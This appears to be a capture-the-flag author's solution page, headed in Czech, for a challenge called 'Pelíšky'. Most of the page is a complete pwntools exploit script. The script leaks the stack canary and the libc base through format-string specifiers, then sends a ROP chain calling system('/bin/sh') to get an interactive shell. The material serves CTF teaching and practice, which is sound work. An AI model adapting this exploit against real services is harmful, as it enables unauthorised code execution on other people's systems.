Pelíšky - Autorské řešení úlohy
·375 slov·2 min
Solution #
Typical ret2libc attack using format string bug for address leaks.
Exploit/script #
An example exploit is provided. By default exploits localhost on port 9999.
This can be very easily customized using the HOST and PORT arguments.
NOTE: The exploit requires the pwntools library.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 9999 ../src/chall
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or '../handout/chall')
libc = ELF(args.LIBC or '../handout/libc.so.6')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'localhost'
port = int(args.PORT or 9999)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
io = start()
"""
# stack canary offset %15$p
# libc_start_main addr offset %17$p - addr of __libc_start_call_main+130
# leak libc base
io.sendlineafter(b'> ', b'%15$p | %17$p')
leaks = io.recvline_contains(b' | ').split(b' | ')
canary = int(leaks[0].split(b" ")[-1], 16)
libc_start_main = int(leaks[1], 16) - 130
libc.address = libc_start_main - 171278 #- libc.sym["__libc_start_main"] - 192
success(f"canary: {hex(canary)}")
success(f"libc_start_main: {hex(libc_start_main)}")
success(f"libc base: {hex(libc.address)}")
"""
# credits to JaGoTu for the exploit :)
io.sendafter(b'>', b'%3$p %15$p '.ljust(32, b'\x00'))
io.recvuntil(b'0x')
libc_leak = int(io.recvuntil(b' ').strip(), 16)
canary = int(io.recvuntil(b' ').strip(), 16)
libc.address = libc_base = libc_leak - 0x114A77
print(hex(libc_leak))
print(hex(libc_base))
print(hex(canary))
BINSH = next(libc.search(b"/bin/sh"))
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(BINSH)
io.sendlineafter(b'>', fit({0x6161746161617361: canary, 0x6161786161617761: rop.chain()}, length=128))
io.interactive()